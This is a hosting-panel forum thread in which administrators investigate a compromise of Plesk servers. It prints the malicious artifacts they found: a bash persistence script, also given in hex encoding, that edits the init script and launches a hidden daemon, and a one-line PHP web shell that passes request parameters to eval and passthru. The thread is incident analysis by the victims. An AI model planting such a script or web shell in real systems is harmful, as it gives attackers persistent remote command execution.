• We value your experience with Plesk during 2024
    Plesk strives to perform even better in 2025. To help us improve further, please answer a few questions about your experience with Plesk Obsidian 2024.
    Please take this short survey:

    https://pt-research.typeform.com/to/AmZvSXkx
  • The Horde webmail has been deprecated. Its complete removal is scheduled for April 2025. For details and recommended actions, see the Feature and Deprecation Plan.
  • We’re working on enhancing the Monitoring feature in Plesk, and we could really use your expertise! If you’re open to sharing your experiences with server and website monitoring or providing feedback, we’d love to have a one-hour online meeting with you.

New vulnerability of Plesk??

GiorgosI

Basic Pleskian
The problem occured at the same time in two servers:
CentOS 5.8 x86_64
Plesk 9.5.4 MU17

We had applied patches to fix Plesk's vulnerability (days ago, before the new problem occurred):
# php -d safe_mode=0 plesk_remote_vulnerability_checker.php
The patch has been successfully applied.

Suddenly PBAs lost connection to both servers. We checked everything (firewall, admin passwords, etc) and everything was fine.
Finally, we ran rkhunter (it runs everyday and in the morning there was not any problem) and it found in both servers suspicious file:
/dev/shm/persist

Here are all the results:
-------------------------------------------
# ls -alh /dev/shm/persist
-rw-r--r-- 1 psaadm sw-cp-server 752 Mar 15 16:12 /dev/shm/persist

# cat /dev/shm/persist
#!/bin/bash
export PATHS="/opt/psa/bin /opt/psa/admin/bin /usr/local/psa/admin/bin /usr/local/psa/bin"
export MYSUDO=""
for n in $PATHS; do export MYSUDO="$MYSUDO $(ls $n/sw-engine-psa $n/sw-engine-plesk 2>/dev/null)";done
for n in $MYSUDO; do test -u $n && export MYSUDO=$n;done
export PSAD=""
for n in $PATHS; do export PSAD="$PSAD $(ls $n/psadmd $n/psadmind 2>/dev/null)";done
for PSADMD in $PSAD;do $MYSUDO "sed -i \"/daemon_name=sw-cp-serverd/a $PSADMD 2> \/dev\/null;\" /etc/init.d/psa";$MYSUDO $PSADMD;done
$MYSUDO 'mv /opt/psa/admin/htdocs/enterprise/control/agent.php /opt/psa/admin/htdocs/enterprise/control/old.php'
$MYSUDO 'mv /usr/local/psa/admin/htdocs/enterprise/control/agent.php /usr/local/psa/admin/htdocs/enterprise/control/old.php'

# ls -alh /usr/local/psa/admin/htdocs/enterprise/control/
total 40K
drwxr-xr-x 3 root psaadm 4.0K Mar 15 16:07 .
drwxr-xr-x 3 root psaadm 4.0K Aug 1 2011 ..
-rw-r--r-- 1 root psaadm 6.7K Dec 9 2010 info.php
-rwxr-xr-x 1 root root 2.5K Jun 30 2011 old.php
drwxr-xr-x 2 root root 4.0K Mar 6 22:12 psa
-rw-r--r-- 1 root psaadm 4.7K Dec 9 2010 status.php
-------------------------------------------

I removed file /dev/shm/persist, moved file 'old.php' back to 'agent.php' and rebooted the servers. Then PBAs was able to connect to those servers.

Is this a new vulnerability of Plesk?
Is there any patch?
 
I had the same yesterday on three servers all patched the night before.

-rw-r--r-- 1 psaadm psaadm 3008 2012-03-15 14:08 persist

-rw-r--r-- 1 psaadm psaadm 3008 Mar 15 14:13 persist

-rw-r--r-- 1 psaadm psaadm 3008 2012-03-15 14:08 persist

here is an example of one of the files:
______________
\x23\x21\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x0a\x65\x78\x70\x6f\x72\x74\x20\x50\x41\x54\x48\x53\x3d\x22\x2f\x6f\x70\x74\x2f\x7
0\x73\x61\x2f\x62\x69\x6e\x20\x2f\x6f\x70\x74\x2f\x70\x73\x61\x2f\x61\x64\x6d\x69\x6e\x2f\x62\x69\x6e\x20\x2f\x75\x73\x72\x2f\x
6c\x6f\x63\x61\x6c\x2f\x70\x73\x61\x2f\x61\x64\x6d\x69\x6e\x2f\x62\x69\x6e\x20\x2f\x75\x73\x72\x2f\x6c\x6f\x63\x61\x6c\x2f\x70\
x73\x61\x2f\x62\x69\x6e\x22\x0a\x65\x78\x70\x6f\x72\x74\x20\x4d\x59\x53\x55\x44\x4f\x3d\x22\x22\x0a\x66\x6f\x72\x20\x6e\x20\x69
\x6e\x20\x24\x50\x41\x54\x48\x53\x3b\x20\x64\x6f\x20\x65\x78\x70\x6f\x72\x74\x20\x4d\x59\x53\x55\x44\x4f\x3d\x22\x24\x4d\x59\x5
3\x55\x44\x4f\x20\x24\x28\x6c\x73\x20\x24\x6e\x2f\x73\x77\x2d\x65\x6e\x67\x69\x6e\x65\x2d\x70\x73\x61\x20\x24\x6e\x2f\x73\x77\x
2d\x65\x6e\x67\x69\x6e\x65\x2d\x70\x6c\x65\x73\x6b\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x29\x22\x3b\x64\x6f\x6e\x65\
x0a\x66\x6f\x72\x20\x6e\x20\x69\x6e\x20\x24\x4d\x59\x53\x55\x44\x4f\x3b\x20\x64\x6f\x20\x74\x65\x73\x74\x20\x2d\x75\x20\x24\x6e
\x20\x26\x26\x20\x65\x78\x70\x6f\x72\x74\x20\x4d\x59\x53\x55\x44\x4f\x3d\x24\x6e\x3b\x64\x6f\x6e\x65\x0a\x65\x78\x70\x6f\x72\x7
4\x20\x50\x53\x41\x44\x3d\x22\x22\x0a\x66\x6f\x72\x20\x6e\x20\x69\x6e\x20\x24\x50\x41\x54\x48\x53\x3b\x20\x64\x6f\x20\x65\x78\x
70\x6f\x72\x74\x20\x50\x53\x41\x44\x3d\x22\x24\x50\x53\x41\x44\x20\x24\x28\x6c\x73\x20\x24\x6e\x2f\x70\x73\x61\x64\x6d\x64\x20\
x24\x6e\x2f\x70\x73\x61\x64\x6d\x69\x6e\x64\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x29\x22\x3b\x64\x6f\x6e\x65\x0a\x66
\x6f\x72\x20\x50\x53\x41\x44\x4d\x44\x20\x69\x6e\x20\x24\x50\x53\x41\x44\x3b\x64\x6f\x20\x24\x4d\x59\x53\x55\x44\x4f\x20\x22\x7
3\x65\x64\x20\x2d\x69\x20\x5c\x22\x2f\x64\x61\x65\x6d\x6f\x6e\x5f\x6e\x61\x6d\x65\x3d\x73\x77\x2d\x63\x70\x2d\x73\x65\x72\x76\x
65\x72\x64\x2f\x61\x20\x24\x50\x53\x41\x44\x4d\x44\x20\x32\x3e\x20\x5c\x2f\x64\x65\x76\x5c\x2f\x6e\x75\x6c\x6c\x3b\x5c\x22\x20\
x2f\x65\x74\x63\x2f\x69\x6e\x69\x74\x2e\x64\x2f\x70\x73\x61\x22\x3b\x24\x4d\x59\x53\x55\x44\x4f\x20\x24\x50\x53\x41\x44\x4d\x44
\x3b\x64\x6f\x6e\x65\x0a\x24\x4d\x59\x53\x55\x44\x4f\x20\x27\x6d\x76\x20\x2f\x6f\x70\x74\x2f\x70\x73\x61\x2f\x61\x64\x6d\x69\x6
e\x2f\x68\x74\x64\x6f\x63\x73\x2f\x65\x6e\x74\x65\x72\x70\x72\x69\x73\x65\x2f\x63\x6f\x6e\x74\x72\x6f\x6c\x2f\x61\x67\x65\x6e\x
74\x2e\x70\x68\x70\x20\x2f\x6f\x70\x74\x2f\x70\x73\x61\x2f\x61\x64\x6d\x69\x6e\x2f\x68\x74\x64\x6f\x63\x73\x2f\x65\x6e\x74\x65\
x72\x70\x72\x69\x73\x65\x2f\x63\x6f\x6e\x74\x72\x6f\x6c\x2f\x6f\x6c\x64\x2e\x70\x68\x70\x27\x0a\x24\x4d\x59\x53\x55\x44\x4f\x20
\x27\x6d\x76\x20\x2f\x75\x73\x72\x2f\x6c\x6f\x63\x61\x6c\x2f\x70\x73\x61\x2f\x61\x64\x6d\x69\x6e\x2f\x68\x74\x64\x6f\x63\x73\x2
f\x65\x6e\x74\x65\x72\x70\x72\x69\x73\x65\x2f\x63\x6f\x6e\x74\x72\x6f\x6c\x2f\x61\x67\x65\x6e\x74\x2e\x70\x68\x70\x20\x2f\x75\x
73\x72\x2f\x6c\x6f\x63\x61\x6c\x2f\x70\x73\x61\x2f\x61\x64\x6d\x69\x6e\x2f\x68\x74\x64\x6f\x63\x73\x2f\x65\x6e\x74\x65\x72\x70\
x72\x69\x73\x65\x2f\x63\x6f\x6e\x74\x72\x6f\x6c\x2f\x6f\x6c\x64\x2e\x70\x68\x70\x27\x0a
 
I confirm this vulnerability on Plesk 8.6.0 and 9.3.0.
 
can confirm our servers are:

8.6.0-ubuntu8.04.build86081001.15
Ubuntu 8.04.1 and 8.04.2

We did not se anything change in ls /opt/psa/admin/htdocs/enterprise/control/ -al


What is the risk / what are they trying to achieve ?
 
Last edited:
I have same issue. What is the risk?

Is there any patch?
 
Can someone from parallels team answer us?

I suppose many more people have the same issue but they have not realized that, because Plesk on hacked servers keeps working just fine (at least I didn't see any difference in Plesk).
So, accidentally I realized that one more server of ours has the same issue, but without the /dev/shm/persist file.
I made more investigation and here are my results:

I show in proccesslist running a process that I wasn't aware of (it existed in firstly hacked servers too):
27891 ? S 0:00 /usr/local/psa/bin/psadmd

# ls -alh /proc/27891
total 0
dr-xr-xr-x 5 psaadm psaadm 0 Mar 19 10:44 .
dr-xr-xr-x 73 root root 0 Jan 10 11:36 ..
-r-------- 1 root root 0 Mar 19 15:17 auxv
-r--r--r-- 1 root root 0 Mar 19 10:44 cmdline
-rw-r--r-- 1 root root 0 Mar 19 15:17 coredump_filter
-r--r--r-- 1 root root 0 Mar 19 15:17 cpuset
lrwxrwxrwx 1 root root 0 Mar 19 15:17 cwd -> /usr/local/psa/admin/htdocs/enterprise/control/psa
-r-------- 1 root root 0 Mar 19 10:46 environ
lrwxrwxrwx 1 root root 0 Mar 19 10:44 exe -> /usr/local/psa/bin/psadmd
dr-x------ 2 root root 0 Mar 19 15:17 fd
dr-x------ 2 root root 0 Mar 19 15:17 fdinfo
-r-------- 1 root root 0 Mar 19 15:17 io
-r--r--r-- 1 root root 0 Mar 19 15:17 limits
-rw-r--r-- 1 root root 0 Mar 19 15:17 loginuid
-r--r--r-- 1 root root 0 Mar 19 15:17 maps
-rw------- 1 root root 0 Mar 19 15:17 mem
-r--r--r-- 1 root root 0 Mar 19 15:17 mounts
-r-------- 1 root root 0 Mar 19 15:17 mountstats
-r--r--r-- 1 root root 0 Mar 19 15:17 numa_maps
-rw-r--r-- 1 root root 0 Mar 19 15:17 oom_adj
-r--r--r-- 1 root root 0 Mar 19 15:17 oom_score
lrwxrwxrwx 1 root root 0 Mar 19 15:17 root -> /
-r--r--r-- 1 root root 0 Mar 19 15:17 schedstat
-r--r--r-- 1 root root 0 Mar 19 15:17 smaps
-r--r--r-- 1 root root 0 Mar 19 15:17 stack
-r--r--r-- 1 root root 0 Mar 19 10:44 stat
-r--r--r-- 1 root root 0 Mar 19 10:46 statm
-r--r--r-- 1 root root 0 Mar 19 10:46 status
dr-xr-xr-x 3 psaadm psaadm 0 Mar 19 15:17 task
-r--r--r-- 1 root root 0 Mar 19 15:17 wchan

There are 3 files in /usr/local/psa/bin/ folder that I am not aware of, and other servers with same version of Plesk don't have them:
# ls -alh /usr/local/psa/bin/
.
.
-rwsr-xr-x 1 root root 518K Mar 2 20:10 psactl
-rwx--x--x 1 root root 590K Mar 2 20:10 psadmd
.
.
-rwsr-xr-x 1 root root 519K Mar 2 20:10 sw-engine-psa

Also the following psa folder (and it's contents of course) is missing in healthy systems:
# ls -alh /usr/local/psa/admin/htdocs/enterprise/control/psa/
total 16K
drwxr-xr-x 2 root root 4.0K Mar 6 22:12 .
drwxr-xr-x 3 root psaadm 4.0K Mar 15 20:03 ..
-rw-r--r-- 1 root root 117 Mar 6 11:21 engine.php
 
I've discovered the same issue that happened to a server I manage a couple of days ago. I've had the same set of weird files appearing as described here, including the /dev/shm/persist bash script, the 3 files in /usr/local/psa/bin and the agent.php file in the /usr/local/psa/admin/htdocs/enterprise/control/psa/ directory.

I also noticed that the dodgy script in /dev/shm/persist writes to the init script:

for PSADMD in $PSAD;do $MYSUDO "sed -i \"/daemon_name=sw-cp-serverd/a $PSADMD 2> \/dev\/null;\" /etc/init.d/psa";$MYSUDO $PSADMD;done

And then when I checked the init script, it has a modification date to match the file in /dev/shm:

-rwxr-xr-x 1 root root 11913 Mar 15 14:08 /etc/init.d/psa
-rwxr-xr-x 1 root root 1030 Mar 11 2009 /etc/init.d/psacct
-rwxr-x--- 1 root root 1422 Dec 30 2009 /etc/init.d/psa-firewall
-rwxr-x--- 1 root root 1287 Dec 30 2009 /etc/init.d/psa-firewall-forward
-rwxr-xr-x 1 root root 2004 Dec 30 2009 /etc/init.d/psa-spamassassin
-rwxr-x--- 1 root root 2558 Dec 30 2009 /etc/init.d/psa-vpn

This is the script that starts on boot:

$ ls -l /etc/rc3.d/*psa
lrwxrwxrwx 1 root root 13 Jan 13 2010 /etc/rc3.d/S85psa -> ../init.d/psa

I did a diff on it verses one from a server that's not infected and can spot that there's an extra line running that dodgy /usr/local/psa/bin/psadmd script:

$ diff psa-clean psa-hacked
39a40
> /usr/local/psa/bin/psadmd 2> /dev/null;
 
Yikes, that engine.php file looks like this:

<?
if (isset($_REQUEST['x']))
{ eval($_REQUEST['x']);
}
if (isset($_REQUEST['z']))
{ passthru($_REQUEST['z']);
}
?>

Which effectively means you can run any command with the same user privileges as whatever it's run as.
 
Please change passwords of Plesk accounts after applying the patch

Hello, Everyone. Thanks for reporting.

Highly probable your servers were infected before the patch applied.

Have you changed passwords of Plesk accounts? Please do this if still didn't.
Learn more how to change passwords in an automated way see http://kb.parallels.com/en/113391.

Please tell us if the issue still persists after changing passwords.
 
Last edited:
I clicked on link for 8.6 linux but there's no link to micro-updates how to.

I found it under 9.5 link, where it's stated that applies also to 8.6.

Could you confirm this?
Thanks
 
Back
Top